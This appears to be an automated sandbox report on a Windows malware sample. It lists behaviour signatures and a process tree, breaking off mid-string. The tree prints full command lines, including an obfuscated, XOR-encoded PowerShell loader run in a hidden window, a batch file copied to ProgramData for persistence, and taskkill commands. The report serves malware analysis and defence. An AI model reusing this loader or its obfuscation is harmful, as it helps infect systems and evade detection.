Analysis

  • max time kernel
    148s
  • max time network
    117s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 11:11

General

  • Target
    6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe
  • Size 2.2MB
  • Sample260910-nandsssckd
  • SHA256 6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe
    "C:\Users\Admin\AppData\Local\Temp\6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=85-64;$iyVyg7iS8=''grOwRSqTBB'';$opGZLdx=''abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd'';$shAzAitV=''Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo='';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, ''$nrNSFmCc'', ''''));$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'''') $aHfO2a\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=85-64;$iyVyg7iS8='grOwRSqTBB';$opGZLdx='abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd';$shAzAitV='Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo=';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, '$nrNSFmCc', ''));$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'') $aHfO2a"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4756
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2916
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES54AE.tmp" "c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\CSC35B31B0B40564380BF715E25C444E71C.TMP"
              6⤵
                PID:3112
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2996
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
                6⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4316
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM RegAsm.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5312
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Vbc.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5264
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM MsBuild.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5584
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=85-64;$iyVyg7iS8=''grOwRSqTBB'';$opGZLdx=''abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd'';$shAzAitV=''Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo='';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, ''$nrNSFmCc'', ''''));$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'''') $aHfO2a\"'" ; Copy-Item -Path 'C:\ProgramData\bfaSmSn.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=85-64;$iyVyg7iS8='grOwRSqTBB';$opGZLdx='abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd';$shAzAitV='Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIv